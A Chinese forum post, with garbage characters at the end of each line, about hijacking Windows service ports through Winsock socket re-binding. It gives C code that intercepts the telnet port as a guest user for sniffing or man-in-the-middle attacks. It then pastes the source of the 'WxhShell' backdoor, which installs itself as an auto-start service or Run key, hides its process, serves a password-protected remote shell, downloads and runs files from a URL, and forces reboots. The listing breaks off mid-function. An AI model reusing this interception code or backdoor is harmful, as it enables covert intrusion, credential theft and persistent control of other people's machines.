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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /WK1(B:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =ReSlt  
u|D L?c>W  
  saddr.sin_family = AF_INET; E]r<t#  
KDA2 H>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s vS)7]{cU  
sr(nd35  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [UB*39D7  
yw89*:A6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bMv[.Z@v(  
\%V !& !'  
  这意味着什么?意味着可以进行如下的攻击: Dqd2e&a\  
\0&$ n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %5@> nC?`[  
Z$6B}cz<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ];N/KHeZ  
E]^n\bE%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LZE9]Gd  
jJ,y+o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,wv>G]v  
9JJ6$cLF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s%6L94\t  
C^,J 6;'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }ov>b2H#<  
G{Uqp'=G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2=1qmQE  
@3FQMs4  
  #include LW">9 ;n  
  #include ?wn <F}UH  
  #include 6q `Un}  
  #include    h,b_8g{!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aOsc_5XDR;  
  int main() j_0l'Saj  
  { m#RMd,'X  
  WORD wVersionRequested; +OtD@lD`!  
  DWORD ret; :&2% x  
  WSADATA wsaData; 1Oak8 \G  
  BOOL val; R"\(a  
  SOCKADDR_IN saddr; dX[ Xe  
  SOCKADDR_IN scaddr; ;4Xx5*E  
  int err; r/HG{XH`  
  SOCKET s; Ea0EG>Y  
  SOCKET sc; bBGg4{  
  int caddsize; lEb H4 g  
  HANDLE mt;  u bZ`Y$  
  DWORD tid;   e:_[0#  
  wVersionRequested = MAKEWORD( 2, 2 ); |W&K@g$  
  err = WSAStartup( wVersionRequested, &wsaData ); EZ hk(LE  
  if ( err != 0 ) { mGoC8t}iP  
  printf("error!WSAStartup failed!\n"); n,_9Eh#WD  
  return -1; yD8Qy+6L  
  } \{ C ~B;=  
  saddr.sin_family = AF_INET; ![MtJo5  
   .G"T;w 6d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Mi F( &#  
WE-+WC!!:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w7vQ6jkH  
  saddr.sin_port = htons(23); [=u@6Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0}T 56aD=!  
  { j W[EjhsH  
  printf("error!socket failed!\n"); s t#^pWL  
  return -1; r|/9'{!  
  } qQ,(O5$|  
  val = TRUE; dwiLu&]u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vVsaGW   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f}?p Y"yvO  
  { ^1aY,6I:  
  printf("error!setsockopt failed!\n"); t_(S e  
  return -1; :r{W)(mm  
  } 7ks!0``  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w[ )HQ1K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DQ0 UY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GpR,n2  
JxM32?Rm*w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `/WOP`'zM  
  { 2+R]q35-  
  ret=GetLastError(); GW%!?mJ  
  printf("error!bind failed!\n"); *GdJ<B$  
  return -1; %0 U@k!lP  
  }  x_/H  
  listen(s,2); 2_Cp}Pj  
  while(1) zW.Ltz  
  { y\dx \  
  caddsize = sizeof(scaddr); &hZ6CV{  
  //接受连接请求 xr!A>q+@i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !L/.[:X  
  if(sc!=INVALID_SOCKET) G,(Xz"`,  
  { i"E_nN"V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  {~w!  
  if(mt==NULL) xZloEfv.B  
  { `;m0GU68  
  printf("Thread Creat Failed!\n"); Z1 (!syg  
  break; Cwji,*  
  } jDj=a->e^  
  } >: J1Gc  
  CloseHandle(mt); = Fq{#sC>  
  } 4r7a ZDVA\  
  closesocket(s); 8. %g&% S  
  WSACleanup(); u(ETc* D]  
  return 0; `1FNs?j  
  }   yV&]i-ey  
  DWORD WINAPI ClientThread(LPVOID lpParam) NxFCVqGb  
  { )k `+9}OO  
  SOCKET ss = (SOCKET)lpParam; V {}TG]  
  SOCKET sc; F0kQ/x  
  unsigned char buf[4096]; gDX\ p>7  
  SOCKADDR_IN saddr; >9<rc[  
  long num; XqcNFSo)  
  DWORD val; 1D~B\=LL}  
  DWORD ret; 7a.iT-*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s(MdjWw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   90H/Txq  
  saddr.sin_family = AF_INET; ;BHIss7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \z.p [;'ir  
  saddr.sin_port = htons(23); |I.5]r-EK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bF +d_t  
  { .ffr2\'*  
  printf("error!socket failed!\n"); 1Va@w  
  return -1; Z_T~2t  
  } ^vOEG;TR<-  
  val = 100; 5?E;Yy A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J%E0Wd  
  { clIn}wQ  
  ret = GetLastError(); X{h[    
  return -1; 2D3mTpw  
  } Ka"1gbJ|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iciRlx.$c  
  { z qd1G(tO  
  ret = GetLastError(); HLE%f;  
  return -1; gM6o~ E  
  } #vPk XcP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) grJ(z)c  
  { obgO-d9l  
  printf("error!socket connect failed!\n"); Ti#x62X{  
  closesocket(sc); m x2Ov u  
  closesocket(ss); .e5rKkkT  
  return -1; q+XU Cnv  
  } MLmv+  
  while(1) i \.&8  
  { ^4{{ +G)j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :1#$p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 + ^4HCyW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W9A F}  
  num = recv(ss,buf,4096,0); >R\!Qk  
  if(num>0) 6%&w\<(SG  
  send(sc,buf,num,0); Z>W&vDeuN  
  else if(num==0) z7Z!wIzJ  
  break; pWb8X}M  
  num = recv(sc,buf,4096,0); }7qboUGe  
  if(num>0) \F7NuG:m,  
  send(ss,buf,num,0); YD5mJ[1t"2  
  else if(num==0) os+ ]ct  
  break; }jNVR#D:  
  } :,'.b|Tl.b  
  closesocket(ss); U a1Z,~ *  
  closesocket(sc); ]TsmWob  
  return 0 ; 2]tW&y_i  
  } AxCFZf5  
asbFNJG{  
6N.MC B^  
========================================================== M7(]NQ\TQ  
Lcs?2c:%  
下边附上一个代码,,WXhSHELL cvV8 ;  
d ?,wEfwp  
========================================================== <!?ZH"F0  
,u.A[{@py  
#include "stdafx.h" !\q'{x5C  
Acb %)Y  
#include <stdio.h> OX.g~M ig|  
#include <string.h> ?"p.Gy)  
#include <windows.h> 8oJp_sw  
#include <winsock2.h> biH ZyUJ  
#include <winsvc.h> BM02k\%  
#include <urlmon.h> d s}E|Q  
HB}iT1.`  
#pragma comment (lib, "Ws2_32.lib") )79F"ltz h  
#pragma comment (lib, "urlmon.lib") /,ISx }  
N9O}6  
#define MAX_USER   100 // 最大客户端连接数 mFBuKp+0)h  
#define BUF_SOCK   200 // sock buffer , .uI>  
#define KEY_BUFF   255 // 输入 buffer .gw6W0\F  
8oP"?ew#  
#define REBOOT     0   // 重启 x\5\KGw16  
#define SHUTDOWN   1   // 关机 /I0}(;^y  
%nj{eT  
#define DEF_PORT   5000 // 监听端口 <\?dPRw2>  
Gg5>~"pb  
#define REG_LEN     16   // 注册表键长度 .[vYT.LE  
#define SVC_LEN     80   // NT服务名长度 EB5 ^eNdL  
x<) T,c5Y  
// 从dll定义API ODPWFdRar  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G5$YXNV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ezr'"1Ba}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >NBwtF>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2| ERif;)  
-p20UP 1I  
// wxhshell配置信息 Gq.fQ_oOb  
struct WSCFG { C33=<r[;N<  
  int ws_port;         // 监听端口 xx[l#+:c  
  char ws_passstr[REG_LEN]; // 口令 bm(.(0MI  
  int ws_autoins;       // 安装标记, 1=yes 0=no }[By N).  
  char ws_regname[REG_LEN]; // 注册表键名 p+:MZP -%(  
  char ws_svcname[REG_LEN]; // 服务名 o@r~KFIe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h.aXW]]}(P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r59BBW)M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g|x* sZR~Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #lx(F3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pb/[945  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1K{hj%  
h%U,g 9_  
}; bVds23q  
]goPjfWvU"  
// default Wxhshell configuration /Au7X'}  
struct WSCFG wscfg={DEF_PORT, -W)8Z.  
    "xuhuanlingzhe", m%i!;K"{s  
    1, K%NgZ(x(  
    "Wxhshell", w#RfD  
    "Wxhshell", gPy}.g{tH$  
            "WxhShell Service", !F# ^Peb  
    "Wrsky Windows CmdShell Service", O29GPs  
    "Please Input Your Password: ", G8OnNI  
  1, 8>ODtKI *  
  "http://www.wrsky.com/wxhshell.exe", pt9fOih[  
  "Wxhshell.exe" 8|IlJiJ~v  
    }; (l:LG"sy\  
jxDA+7  
// 消息定义模块 3 >G"&T{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  =E:a\r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6 G?7>M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VKHzGfv  
char *msg_ws_ext="\n\rExit."; =~{W;VZt'  
char *msg_ws_end="\n\rQuit."; h2ou ]  
char *msg_ws_boot="\n\rReboot..."; 2<^eVpNJR  
char *msg_ws_poff="\n\rShutdown..."; cK1RmL"3  
char *msg_ws_down="\n\rSave to "; cAzlkh  
Q Pp>%iE@  
char *msg_ws_err="\n\rErr!"; m7,;Hr(  
char *msg_ws_ok="\n\rOK!"; C'fQ Z,r-v  
ZNY), 3?  
char ExeFile[MAX_PATH]; J8PZVeWx  
int nUser = 0; u$y5?n|  
HANDLE handles[MAX_USER]; lgh+\pj  
int OsIsNt; 3b1%^@,ACy  
p|'Rm ]&jb  
SERVICE_STATUS       serviceStatus; xU$15|ny  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '=>l& ;  
ug9]^p/)^  
// 函数声明 JS0957K  
int Install(void); .Wvg{ S -  
int Uninstall(void); o\:vxj+%*  
int DownloadFile(char *sURL, SOCKET wsh); f5hf<R),A  
int Boot(int flag); *^.OqbO[U  
void HideProc(void); c$R<j'7  
int GetOsVer(void); [knwp$  
int Wxhshell(SOCKET wsl); U#F(%b-LC  
void TalkWithClient(void *cs); ^TCfj^FP  
int CmdShell(SOCKET sock); -n`2>L1  
int StartFromService(void); .7MLgC;  
int StartWxhshell(LPSTR lpCmdLine); iLJBiZ+  
<+e&E9;>6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r*W&SU9Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @d6N[?3;  
q%8Ck)xz  
// 数据结构和表定义 \Gz 79VW  
SERVICE_TABLE_ENTRY DispatchTable[] = rZG6}<Hx  
{ yI_MY L[  
{wscfg.ws_svcname, NTServiceMain}, XQ$9E?|=  
{NULL, NULL} <5sP%Fs)  
}; EJJW  
[fr!J?/@  
// 自我安装 x.aqy'/`  
int Install(void) uKd79[1  
{ ak]H|D" 9  
  char svExeFile[MAX_PATH]; >Gxh=**F  
  HKEY key; %vjfAdC  
  strcpy(svExeFile,ExeFile); A7sva@}W  
UpCkB}OhR1  
// 如果是win9x系统,修改注册表设为自启动 *Au[{sR  
if(!OsIsNt) { #=aTSw X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @!2vS@f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PgwNEwG  
  RegCloseKey(key); Z^ }4bR]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rJ fO/WK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (j884bu  
  RegCloseKey(key); Qe1WT T]:I  
  return 0; PW GN UNc  
    }  '' Pfs<!  
  } ~M LBO  
} x @uowx_&m  
else { ?4MZT5 .  
1|xo4fmV  
// 如果是NT以上系统,安装为系统服务 ,ko0XQBl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _XUDPC(*qz  
if (schSCManager!=0) !vH={40]  
{ UaV8 !Z>  
  SC_HANDLE schService = CreateService ;@G5s+<l  
  ( h&m4"HBL_  
  schSCManager, $o>6Io|D  
  wscfg.ws_svcname, =U+_;;F=  
  wscfg.ws_svcdisp, k2ZMDU  
  SERVICE_ALL_ACCESS, { ^ @c96&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^F`\B'8MF  
  SERVICE_AUTO_START, lxXIu8  
  SERVICE_ERROR_NORMAL, s!\G i5b  
  svExeFile, R)BH:wg"  
  NULL, -{s9PZ3~_  
  NULL, cK~VNzsz  
  NULL, 3pI)  
  NULL, U~YjTjbd  
  NULL yh"48@L'D  
  ); pl5Q2zq%  
  if (schService!=0) pJPP6Be<  
  { W,sPg\G 3  
  CloseServiceHandle(schService); UWg+7RL  
  CloseServiceHandle(schSCManager); <%EjrjdvL+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C+X- Cp  
  strcat(svExeFile,wscfg.ws_svcname); 6eHw\$/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z)XI A)i6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I=}pT50~9  
  RegCloseKey(key); 1\ab3n  
  return 0; )5U2-g#U  
    } 2)47$eu  
  } o&U/e\zy  
  CloseServiceHandle(schSCManager); $JZ}=\n7  
} G.sf>.[  
} RL~]mI!U  
-q}I; cH  
return 1; :dj=kuUTbu  
} gtw?u b  
e? n8S  
// 自我卸载 &<oDl _^  
int Uninstall(void) #i0f}&  
{ a&s&6Q|Y  
  HKEY key; Q!v]njCIB7  
Xe>   
if(!OsIsNt) { EK<ly"S.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NJ$c0CNy  
  RegDeleteValue(key,wscfg.ws_regname); ?D S|vCae  
  RegCloseKey(key); F@u>5e^6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hxx`f-#=  
  RegDeleteValue(key,wscfg.ws_regname); oiNt'HQ2/  
  RegCloseKey(key); V}+Ui]ie|I  
  return 0; #JW~&;  
  } %8~g#Z  
} T$Rj/u t1  
} K1[(% <Gp  
else { |FH|l#bu>  
2;&!]2vo$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FG6mh,C!  
if (schSCManager!=0) ipn 0WQG  
{ ,G!mO,DX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f4r)g2Zb[  
  if (schService!=0) 1OW#_4w/  
  { +DA ,|~k_  
  if(DeleteService(schService)!=0) { sRDxa5<MD  
  CloseServiceHandle(schService); 4&+lc*  
  CloseServiceHandle(schSCManager); `/L D:R  
  return 0; &1$|KbmV4  
  } a7wc>@9Q,  
  CloseServiceHandle(schService); U# 7K^(E9  
  } XD$;K$_7  
  CloseServiceHandle(schSCManager); ?N(opggiD  
} L|A.;Gq  
} <A@qN95m  
.YxcXe3#  
return 1;  a5@XD_b  
} U((mOm6  
I2^ Eo5'  
// 从指定url下载文件 *ci%c^}V  
int DownloadFile(char *sURL, SOCKET wsh) dtd}P~  
{ fi;00>y  
  HRESULT hr; Tg\wBhJr|  
char seps[]= "/"; %:/?eZ  
char *token; 1@{qPmf^  
char *file; J!@`tR-  
char myURL[MAX_PATH]; 4+'d">+|  
char myFILE[MAX_PATH]; u:GDM   
6R+EG{`  
strcpy(myURL,sURL); wTkcR^  
  token=strtok(myURL,seps); HA0Rv#p  
  while(token!=NULL) *zTEK:+_  
  { qjI.Sr70  
    file=token; {axMS yp;  
  token=strtok(NULL,seps); G+zIh}9  
  } FCA]zR1  
2}jC%jR2  
GetCurrentDirectory(MAX_PATH,myFILE); xI(Y}>  
strcat(myFILE, "\\"); *#g[ jl4  
strcat(myFILE, file); Ft^+P*  
  send(wsh,myFILE,strlen(myFILE),0); pIP ^/H  
send(wsh,"...",3,0); N@G~+GCxL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (7J (.EG2e  
  if(hr==S_OK) G*\U'w4w|*  
return 0; '7(oCab"_  
else *nc9 u"  
return 1; $KMxq=  
6h3TU,$r  
} fs;pX/:FR  
%% A==_b  
// 系统电源模块 *e}1KcJ  
int Boot(int flag) -G@:uxB  
{ _rjB.  
  HANDLE hToken; X>kW)c4{b  
  TOKEN_PRIVILEGES tkp; kb2M3%6 V  
I!;vy/r  
  if(OsIsNt) { YqNI:znm-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5BsfbLKC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T f;:C]  
    tkp.PrivilegeCount = 1; _yP02a^2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sTChbks  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +#MQ8d  
if(flag==REBOOT) { fZF.eRP '  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `(Ij@8 4  
  return 0; 7zEpuw  
} NQqq\h  
else { 0FG|s#Ig  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fooa~C"  
  return 0; h(MS>=  
} MR-cOPn  
  } =VOl  *  
  else { c?XqSK`',Z  
if(flag==REBOOT) { 0|D l/1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e =Teq~K  
  return 0; $ Ov#^wfA  
} %^ g(2^  
else { m. DC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JDj^7\`  
  return 0; $3D#U^7i  
} Bn?MlG;aA  
} AB")aX2% E  
SlojB^%  
return 1; V^5Z9!  
} w;(B4^?  
kV:C=MLI  
// win9x进程隐藏模块 f+W8Gszi  
void HideProc(void) 2z615?2_U  
{ #uillSV  
DY6ra% T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }&:F,q*  
  if ( hKernel != NULL ) ~u+|NtF  
  { QB|D_?]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rN5;W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ga+Z6|t  
    FreeLibrary(hKernel); k:k!4   
  } BLQD=?Q  
h(H b+7g  
return; TVEFZ\p<A  
} Y~+`F5xX<  
1?N$I}?  
// 获取操作系统版本 dpI9DzA;  
int GetOsVer(void) RRBBz7:~  
{ PML +$  
  OSVERSIONINFO winfo; j+7ok 5J#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZFO*D79:K  
  GetVersionEx(&winfo); yNk E>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -y5Z c?e  
  return 1; 2=p"%YSn  
  else B@@j-  
  return 0; Th(F^W9  
} n^7m^1to  
W99Hq1W;r  
// 客户端句柄模块 <;.->73E  
int Wxhshell(SOCKET wsl) PZsq9;P$  
{ I7/X6^/}  
  SOCKET wsh; _z(ydL*  
  struct sockaddr_in client; UZ}>@0  
  DWORD myID; UOtrq=y  
{%Ujp9i  
  while(nUser<MAX_USER) I'%(f@u~  
{ D"RxI)"HP  
  int nSize=sizeof(client); ~A =?_5kJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5xF R7%_&  
  if(wsh==INVALID_SOCKET) return 1; 'YUx&F cM  
sM8AORd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vhaUV#V"  
if(handles[nUser]==0) zgR@-OtFZ  
  closesocket(wsh); }2-p= Y:6  
else "=r"c$xou  
  nUser++; - yn;Jo2-  
  } Up|>)WFw"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); | *J-9  
#v QyECf  
  return 0; }4M4D/=  
} C;_*vi2u  
)ls<"WTC.  
// 关闭 socket )TFBb\f>v  
void CloseIt(SOCKET wsh) Q0cr^24/  
{ 6 SosVE>Z  
closesocket(wsh); q|fZdTw  
nUser--; !NfN16  
ExitThread(0); Rf .b_Y@O  
} L_4Zx sIv  
m&X6a C'[  
// 客户端请求句柄 o I6o$C  
void TalkWithClient(void *cs) gQ=g,X4  
{ QC\][I>  
U%,N"]`  
  SOCKET wsh=(SOCKET)cs; o) hQ]d  
  char pwd[SVC_LEN]; 9BM 8  
  char cmd[KEY_BUFF]; &QQ8ut,;  
char chr[1]; zrJ/Fs+s  
int i,j; |vY0[#E8&  
d|8iD`sZz  
  while (nUser < MAX_USER) { %Kq`8  
i`2X[kc  
if(wscfg.ws_passstr) { l[J'FR:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z nc'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T)NnWEB  
  //ZeroMemory(pwd,KEY_BUFF); "RF<i3{S  
      i=0; j7M[]/|  
  while(i<SVC_LEN) { &]?X"K  
G$"$k=[  
  // 设置超时 P95A _(T=[  
  fd_set FdRead; :W\xZ  
  struct timeval TimeOut; +#c3Y ;JP  
  FD_ZERO(&FdRead); *Tt*\ O  
  FD_SET(wsh,&FdRead); \|}dlG  
  TimeOut.tv_sec=8;  `=h`:`  
  TimeOut.tv_usec=0; _@47h86 Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $"/xi `  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4mY(*2:HC  
bf3Njma%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UHEn+Tc>  
  pwd=chr[0]; r6Hdp  
  if(chr[0]==0xd || chr[0]==0xa) { S^Z[w|1  
  pwd=0; 0` {6~p  
  break; F9Ag687w  
  } 9w=GB?/  
  i++; V~uH)IMkh7  
    } fb8t9sAI  
z|V5/"  
  // 如果是非法用户,关闭 socket =k1 ,jn+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d,G:+  
} vNhi5EU  
<?UIux  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KnC;j-j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /@<Pn&Rq  
z3  lZ3  
while(1) { L.uX  
ByrK|lVM0  
  ZeroMemory(cmd,KEY_BUFF); \V#2K><  
|nN{XjNfP5  
      // 自动支持客户端 telnet标准   rR4_=S<Mi:  
  j=0; y0d a8sd)  
  while(j<KEY_BUFF) { E2s lpo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]mN'Qoc  
  cmd[j]=chr[0]; DJ)z~W2I*  
  if(chr[0]==0xa || chr[0]==0xd) { R N1q/H|  
  cmd[j]=0; Bw31h3yB  
  break; rSUarfZ<  
  } G 1 rsd  
  j++; N;9m&)@JR'  
    } #-_';Er\  
U9[ &ci  
  // 下载文件 k|$08EK $  
  if(strstr(cmd,"http://")) { mZ^z%+Ca|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S0\;FmLIc  
  if(DownloadFile(cmd,wsh)) bm>,$GW(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QQso<.d&  
  else v>FsP$p4yE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "eq{_4dL  
  } :@:i*2=  
  else { HWJ(O/N  
lw4#xH-?  
    switch(cmd[0]) {  fWx %?J  
  CfguL@tR.  
  // 帮助 :esHtkyML  
  case '?': { d;3/Vr$t=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BULf@8~(  
    break; 9+G.86Iky  
  } I+,~pmn:  
  // 安装 v`"z  
  case 'i': { &@O]'  
    if(Install()) [X'XxYbZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {8)Pke  
    else .{` :  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W=fw*ro  
    break; 4!pMZ<$3  
    } M^c`j#NQ  
  // 卸载 U{vt9t  
  case 'r': { g]IRv(gDh  
    if(Uninstall()) x=g=e <_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RKu'WD?sdH  
    else 2sj[hI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I%]~]a  
    break; jN\} l|;q  
    } *;Q IAd  
  // 显示 wxhshell 所在路径 b ^wL{q  
  case 'p': { &_-,Nxsf  
    char svExeFile[MAX_PATH]; l^ P[nQDH  
    strcpy(svExeFile,"\n\r"); "<3F[[;~  
      strcat(svExeFile,ExeFile); 6>rgoT)6~  
        send(wsh,svExeFile,strlen(svExeFile),0); Lo^0VD!O  
    break; |H`}w2U[j  
    } "|?zQ?E  
  // 重启 @6eM{3E.  
  case 'b': { nRYHp7`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5OUGln5  
    if(Boot(REBOOT)) "~R,%sYb(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}JiYZ  
    else { h0}= C_.^  
    closesocket(wsh); F)ak5  
    ExitThread(0); ;GW[Yw>Rz  
    } i6L>,^Dg  
    break; `nAR/Ye  
    } ;JM%O8  
  // 关机 q\2q3}n  
  case 'd': { dW K; h  
